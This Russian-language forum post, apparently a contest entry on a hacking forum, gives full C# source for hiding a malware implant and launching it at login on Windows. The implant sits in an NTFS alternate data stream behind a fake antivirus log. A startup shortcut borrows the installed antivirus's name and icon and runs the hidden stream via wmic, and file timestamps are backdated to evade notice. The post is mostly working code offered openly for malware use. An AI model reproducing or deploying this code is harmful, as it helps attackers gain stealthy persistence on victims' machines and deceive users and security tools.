Скрытая угроза :: Прячемся в потоках данных и маскируемся под антивирус

D2

Администратор
Регистрация
19 Фев 2025
Сообщения
4,380
Реакции
0
Автор Shaurmist25
Статья написана для
Конкурса статей #10



Доброго времени суток дамы и господа, решил взять участь в конкурсе.
Сегодня речь пойдет о ADS (Alternative Data Stream) или же альтернативый поток данных
Эта фишка работает в файловой системе NTFS (и в некотрых других но я не тестил)
Суть в том что у нас есть файл с данными, и мы можем записать туда другие данные в другой поток и работать с ними.
Винда нам в проводнике покажет только основные данные и открыть даст только их.
Давайте попробуем реализовать автозапуск малвари + маскировку ярлыка под установленный в системе антивирус + наш бинарь в альт. потоке, а в обычном потоке лог файл.


Я буду использовать язык C#
Создаем консольный проект .net framework и добавляем ссылки на нужные библиотеки (Windows Script Host Object Model и System.Management)


1735493467509.png


1735493547425.png


1735493514587.png



В проекте первая библиотека нужна для создания ярлыков, вторая для получения информации о антивирусе.


Начнём писать код!
1735496017127.jpeg



Давайте пропишем поля с конфигурацией:

C#: Скопировать в буфер обмена
Код:
        /// <summary>
        /// Shell startup directory path
        /// Any file in this dir will be executed after user logged in.
        /// </summary>
        private static readonly DirectoryInfo ShellStartupDirectory = new DirectoryInfo(Environment.GetFolderPath(Environment.SpecialFolder.Startup));

        /// <summary>
        /// Local application data directory
        /// You can open this dir by hitting WIN+R and typing %LocalAppdata%
        /// </summary>
        private static readonly DirectoryInfo LocalAppDataDirectory = new DirectoryInfo(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData));

        /// <summary>
        /// Change file creation date to custom
        /// </summary>
        private static readonly DateTime FileCreationDate = new DateTime(2012, 5, 22, 10, 15, 50);

        /// <summary>
        /// Alternative Data Stream name
        /// </summary>
        private const string ADSName = "Antivirus";

        /// <summary>
        /// Implant will be deployed on disk with specified extension
        /// </summary>
        private const string MimicExtension = ".log";

        /// <summary>
        /// Fake file content
        /// </summary>
        private const string MimicContent = @"
--- Antivirus Scan Summary ---
Date: 2012-05-22
Time: 10:15:50
Duration: 32 minutes 15 seconds
-------------------------------------------------
Total Files Scanned: 98765
Total Threats Detected: 0
-------------------------------------------------
Scan Status: Completed Successfully
-------------------------------------------------
End of Scan.";

Сделаем импорты нужных winapi функций

C#: Скопировать в буфер обмена
Код:
        [DllImport("kernel32.dll", CharSet = CharSet.Unicode, SetLastError = true)]
        private static extern IntPtr CreateFileW([MarshalAs(UnmanagedType.LPWStr)] string filename, uint access, int share, IntPtr securityAttributes, int creationDisposition, int flagsAndAttributes, IntPtr templateFile);

        [DllImport("kernel32.dll")]
        private static extern bool WriteFile(IntPtr hFile, byte[] lpBuffer, int nNumberOfBytesToWrite, out uint lpNumberOfBytesWritten, [In] IntPtr lpOverlapped);

        [DllImport("kernel32.dll", SetLastError = true)]
        [return: MarshalAs(UnmanagedType.Bool)]
        private static extern bool DeleteFile(string lpFileName);

        [DllImport("kernel32.dll", SetLastError = true)]
        [return: MarshalAs(UnmanagedType.Bool)]
        private static extern bool CloseHandle(IntPtr hObject);



        [DllImport("kernel32.dll")]
        private static extern uint GetLastError();

        private static readonly IntPtr INVALID_HANDLE_VALUE = new IntPtr(-1);
        private const int
            MAX_PATH = 260,
            OPEN_ALWAYS = 4,
            FILE_WRITE_ATTRIBUTES = 0x100,
            FILE_SHARE_READ = 0x00000001,
            FILE_FLAG_SEQUENTIAL_SCAN = 0x80,
            FILE_ATTRIBUTE_NORMAL = 0x08000000;
        const uint
            GENERIC_READ = 0x80000000,
            GENERIC_WRITE = 0x40000000;


Методы для работы с альт. потоками (Первый проверяет находиться ли нужный путь на диске в формате NTFS, а второй записывает фейк данные в файл и пишет пейлоад в альт. поток)

C#: Скопировать в буфер обмена
Код:
        /// <summary>
        /// Checks if path is on NTFS drive.
        /// </summary>
        /// <param name="path">Target path</param>
        /// <returns>true/false</returns>
        private static bool IsPathOnNtfs(string path)
        {
            try
            {
                string rootPath = Path.GetPathRoot(path);
                if (string.IsNullOrEmpty(rootPath))
                {
                    return false;
                }
                DriveInfo driveInfo = new DriveInfo(rootPath);
                return driveInfo.DriveFormat.Equals("NTFS", StringComparison.OrdinalIgnoreCase);
            }
            catch
            {
                return false;
            }
        }

        /// <summary>
        /// Write bytes to alternative data stream
        /// </summary>
        /// <param name="target">Target file to write</param>
        /// <param name="stream">Target stream name</param>
        /// <param name="content">Fake content</param>
        /// <param name="payload">Payload data inside ads</param>
        private static bool WriteADS(string target, string stream, string content, byte[] payload)
        {
            if (!IsPathOnNtfs(target))
            {
                return false;
            }

            string ads = target + ":" + stream;
            DeleteFile(ads);
            System.IO.File.WriteAllText(target, content);
            IntPtr streamHandle = CreateFileW(ads, GENERIC_READ | GENERIC_WRITE | FILE_WRITE_ATTRIBUTES, FILE_SHARE_READ, IntPtr.Zero, OPEN_ALWAYS, FILE_FLAG_SEQUENTIAL_SCAN | FILE_ATTRIBUTE_NORMAL, IntPtr.Zero);

            if (streamHandle == INVALID_HANDLE_VALUE)
            {
#if DEBUG
                Console.WriteLine("[ADS] Invalid handle. Code: " + GetLastError());
#endif
                Environment.Exit(1);
            };

            WriteFile(streamHandle, payload, payload.Length, out uint _, IntPtr.Zero);
            CloseHandle(streamHandle);

            return true;
        }


Методы для поиска установленого антивируса, а так-же изменения даты создания файла или папки:
В случае если через wmi антивирус найти не удалось - пробуем найти бинарник дефендера, а если и его нету то имя в авторане будет System


C#: Скопировать в буфер обмена
Код:
        /// <summary>
        /// Get installed antivirus exe and name
        /// </summary>
        /// <returns>
        /// string[] { "C:\\eset.exe", "Eset Security" }
        /// string[] { "C:\\defender.exe", "Windows Defender" }
        /// </returns>
        private static string[] QueryInstalledAntivirus()
        {
            try
            {
                // Query WMI for installed antivirus products
                using (ManagementObjectSearcher searcher = new ManagementObjectSearcher(@"\\" + Environment.MachineName + "\\root\\SecurityCenter2", "SELECT * FROM AntivirusProduct"))
                {
                    ManagementObjectCollection searcherInstance = searcher.Get();

                    foreach (ManagementBaseObject instance in searcherInstance)
                    {
                        string name = instance["displayName"]?.ToString() ?? null;
                        string exePath = instance["pathToSignedProductExe"]?.ToString() ?? null;
                        if (!string.IsNullOrEmpty(name) && !string.IsNullOrEmpty(exePath))
                        {
                            if (System.IO.File.Exists(exePath))
                            {
                                return new string[] { exePath, name };
                            }
                        }
                    }
                }
            }
            catch (Exception ex)
            {
                Console.WriteLine("An error occurred: " + ex.Message);
            }

            // Query defender information.
            string systemDriveInfo = new DriveInfo(Environment.GetEnvironmentVariable("SystemRoot")).RootDirectory.FullName;
            string defenderFile = Path.Combine(systemDriveInfo, "Program Files\\Windows Defender\\MpCmdRun.exe");
            Console.WriteLine(defenderFile);
            if (System.IO.File.Exists(defenderFile))
            {
                return new string[] { defenderFile, "Windows Defender" };
            }
            

            return new string[] { "", "System" };
        }

        /// <summary>
        /// Spoof file or directory creation date
        /// </summary>
        /// <param name="filepath">File or directory location on disk</param>
        private static void SpoofCreationDate(string filepath, bool directory = false)
        {
            if (directory)
            {
                Directory.SetCreationTime(filepath, FileCreationDate);
                Directory.SetLastWriteTime(filepath, FileCreationDate);
                Directory.SetLastAccessTime(filepath, FileCreationDate);
            } else
            {
                System.IO.File.SetCreationTime(filepath, FileCreationDate);
                System.IO.File.SetLastWriteTime(filepath, FileCreationDate);
                System.IO.File.SetLastAccessTime(filepath, FileCreationDate);
            }
            
        }

Давайте напишем два метода установки в авторан (Наш козырный и обычное копирование в папку)
Лучше перебздеть, чем недобздеть (Зигмунд Фрейд)


Метод SmartInstall создаст папку в LocalAppdata и запишет туда лог файл с фейк данными, а в альт. поток запишет нужный нам бинарник.
Потом создаст ярлык в shell:startup который будет запускать бинарь из альт. потока данных и под конец изменит даты создания файлов и папок.
C#: Скопировать в буфер обмена
Код:
        /// <summary>
        /// Copy current executable into local appdata directory inside alternative data stream.
        /// Then install shortcut with installed antivirus name and icon into startup directory.
        /// You can open this dir by hitting WIN+R and typing shell:startup
        /// </summary>
        /// <param name="target">Target file to install</param>
        /// <returns>Installed file or null on errors</returns>
        private static string SmartInstall(string target)
        {
            byte[] payload = System.IO.File.ReadAllBytes(target);
            string[] AntivirusInfo = QueryInstalledAntivirus();
            DirectoryInfo InstallationSubDirectory = new DirectoryInfo(Path.Combine(LocalAppDataDirectory.FullName, AntivirusInfo[1]));
            FileInfo ImplantInstallationFile = new FileInfo(Path.Combine(InstallationSubDirectory.FullName, Path.GetFileNameWithoutExtension(target) + MimicExtension));
            FileInfo ImplantShellStartupShortcut = new FileInfo(Path.Combine(ShellStartupDirectory.FullName, AntivirusInfo[1] + ".lnk"));
 
            // Create sub directory if not exists
            if (!InstallationSubDirectory.Exists)
            {
                InstallationSubDirectory.Create();
#if DEBUG
                Console.WriteLine("[SMART-STARTUP] Installation directory created at: " + InstallationSubDirectory.FullName);
#endif
            }
            // Copy implant into sub directory
            if (!ImplantInstallationFile.Exists)
            {
                // Write
                if (!WriteADS(ImplantInstallationFile.FullName, ADSName, MimicContent, payload))
                {
                    throw new FormatException("ЕЕ БЛЯ СУКА НЕ NTFS!!!!!1");
                }

                // Spoof file creation date
                SpoofCreationDate(ImplantInstallationFile.FullName);
#if DEBUG
                Console.WriteLine("[SMART-STARTUP] Copied implant to: " + ImplantInstallationFile.FullName);
#endif
                // Spoof directory creation date
                SpoofCreationDate(InstallationSubDirectory.FullName, true);
            }
            
            // Create implant shortcut into startup directory
            if (!ImplantShellStartupShortcut.Exists)
            {
                WshShell wshShell = new WshShell();
                IWshShortcut shortcut = (IWshShortcut)wshShell.CreateShortcut(ImplantShellStartupShortcut.FullName);
                // Steal icon from original antivirus executable
                if (!string.IsNullOrEmpty(AntivirusInfo[0]) && System.IO.File.Exists(AntivirusInfo[0]))
                {
                    shortcut.IconLocation = AntivirusInfo[0];
                }
                shortcut.Description = AntivirusInfo[1];
                shortcut.TargetPath = "%comspec%";
                shortcut.WorkingDirectory = InstallationSubDirectory.FullName;
                shortcut.Arguments = string.Format("/c @wmic process call create '{0}'", ImplantInstallationFile.FullName + ":" + ADSName); // Тут магия запуска с альт потока
                shortcut.Save();
                // Spoof creation date
                SpoofCreationDate(ImplantShellStartupShortcut.FullName);
#if DEBUG
                Console.WriteLine("[SMART-STARTUP] Created startup shortcut: " + AntivirusInfo[1]);
#endif
                return ImplantShellStartupShortcut.FullName;
            }
            return null;
        }

Метод NormalInstall просто дропнет файл в папку shell:startup и изменит дату создания:

C#: Скопировать в буфер обмена
Код:
        /// <summary>
        /// Installs the application in a normal manner by copying the current executable to the Shell Startup directory.
        /// </summary>
        /// <param name="target">Target file to install</param>
        /// <returns>Installed file or null on errors</returns>
        private static string NormalInstall(string target)
        {
            FileInfo TargetExecutable = new FileInfo(target);
            FileInfo ImplantShellStartupExecutable = new FileInfo(Path.Combine(ShellStartupDirectory.FullName, TargetExecutable.Name));

            // If the executable does not already exist in the Shell Startup directory, copy it there.
            if (!ImplantShellStartupExecutable.Exists)
            {
                TargetExecutable.CopyTo(ImplantShellStartupExecutable.FullName);
                SpoofCreationDate(ImplantShellStartupExecutable.FullName);
#if DEBUG
                Console.WriteLine("[NORMAL-STARTUP] Implant installed");
#endif
                return ImplantShellStartupExecutable.FullName;
            }
            return null;
        }


И главный метод для авторана который попытаеться сделать крутой автозапуск с альт. потоком и маскировкой под антиврус,
а если не удалось - то обычный дроп в папку.


C#: Скопировать в буфер обмена
Код:
        /// <summary>
        /// Installs the application, ensuring the Shell Startup directory exists and attempting a smart installation first.
        /// If the smart installation fails, it falls back to a normal installation.
        /// </summary>
        /// <returns>true/false</returns>
        public static bool Install(string targetFile)
        {
            string InstalledImplant = null;

            // Check
            if (!System.IO.File.Exists(targetFile))
            {
#if DEBUG
                Console.WriteLine("[STARTUP] Target file not found.");
#endif
                return false;
            }

            // Ensure the Shell Startup directory exists; create it if it doesn't.
            if (!ShellStartupDirectory.Exists)
            {
                ShellStartupDirectory.Create();
#if DEBUG
                Console.WriteLine("[STARTUP] Shell startup directory was created.");
#endif
            }
            // Attempt a smart installation of the stub.
            try
            {
                InstalledImplant = SmartInstall(targetFile);
            }
            catch (Exception ex)
            {
#if DEBUG
                Console.WriteLine("[SMART-STARTUP] Error, " + ex.Message);
#endif
                // If the smart installation fails, fall back to a normal installation.
                InstalledImplant = NormalInstall(targetFile);
            }

            return !string.IsNullOrEmpty(InstalledImplant);
        }


И вот мейн файл:
C#: Скопировать в буфер обмена
Код:
static void Main(string[] args)
{
    SmartStartup.Install("putty.exe");
}

После запуска проекта, он установил putty в автозапуск в альт потоке под видом антивируса,
вот как это выглядит если антивирус установлен:

defStartup.PNG


Вот как выглядит файл на диске:
defBinary.PNG



В случае если антивирус найти не удалось:
noAVStartup.PNG


noAVBinary.PNG



А вот так это выглядит в диспетчере задач и process hacker:
Интересный прикол заметил, диспетчер задач не может показать свойства этого процесса или открыть его расположение.


1735495566019.png




Архив с проектом прикреплен ниже, пароль xss.is
 
Сверху Снизу